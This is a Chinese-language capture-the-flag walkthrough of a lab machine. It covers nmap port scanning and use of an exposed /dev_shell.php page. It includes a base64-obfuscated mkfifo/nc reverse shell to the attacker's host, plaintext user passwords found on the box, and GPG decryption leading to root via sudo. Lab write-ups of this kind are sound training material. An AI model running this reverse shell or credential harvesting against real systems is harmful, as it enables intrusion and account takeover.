端口
nmap主机发现
nmap -sn 192.168.72.0/24
Nmap scan report for 192.168.72.169
Host is up (0.00020s latency).
169是新出现的机器，他就是靶机
nmap端口扫描
nmap -Pn -sV 192.168.72.169 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
PORT STATE SERVICE
80/tcp open http
25468/tcp open ssh
发现开放3个端口
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.89.116详细端口扫描：
-sT：完整tcp连接
-sC：默认脚本扫描
-sV：服务版本探测
-O：系统信息探测
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA)
| 256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA)
|_ 256 391656fb4e0f508540d3532241433815 (ED25519)
分析：
25468 ssh端口开放
80 web端口开放
访问80，是个学校官网，查看整个页面没有敏感信息，查看robots.txt
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html
依次访问，发现shell位于/dev_shell.php页面
立足
echo "mkfifo /tmp/f;nc 192.168.72.162 1234 0</tmp/f|/bin/sh > /tmp/f 2>&1;rm /tmp/f"|base64|tr -d '\n'
bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK
攻击机器：nc -nvlp 1234
command输入如下指令即可getshell：
echo "bWtmaWZvIC90bXAvZjtuYyAxOTIuMTY4LjcyLjE2MiAxMjM0IDA8L3RtcC9mfC9iaW4vc2ggPiAvdG1wL2YgMj4mMTtybSAvdG1wL2YK" | base64 -d | bash
提权
错误配置提不了权，直接找敏感文件
bob目录
.old_passwordfile.html包含jc和seb的密码
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
login.txt.gpg文件有被加密的字符串
note.sh 里有
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"
elliot目录
theadminisdumb.txt里存着此用户密码，为theadminisdumb
登录seb和jc和elliot
这三个用户权限基本上和www-data差不多，没用
bob用户的gpg文件解密
GNU Privacy Guard 是一款使用 RFC4880 定义的 OpenPGP 加密标准的加密程序。它允许您使用私钥加密和数字签名文件和电子邮件通信，并使用随附的公钥解密这些文件和通信。
通常，使用 GnuPG 加密的文件会以.gpg扩展名保存。这表示它们已加密，可以使用 GnuPG 解密。但是，要解密 GPG 文件，您必须拥有必要的 GnuPG 密钥（通常是其他用户的公钥）。
当尝试解密login.txt.gpg时
gpg -d login.txt.gpg
出现下图
这里根据bob目录下的note.sh文件，推测passphrase是个藏头诗：HARPOCRATES
直接解密成功：bob:b0bcat_
登录后发现bob用户有所有sudo权限
直接sudo su切换root
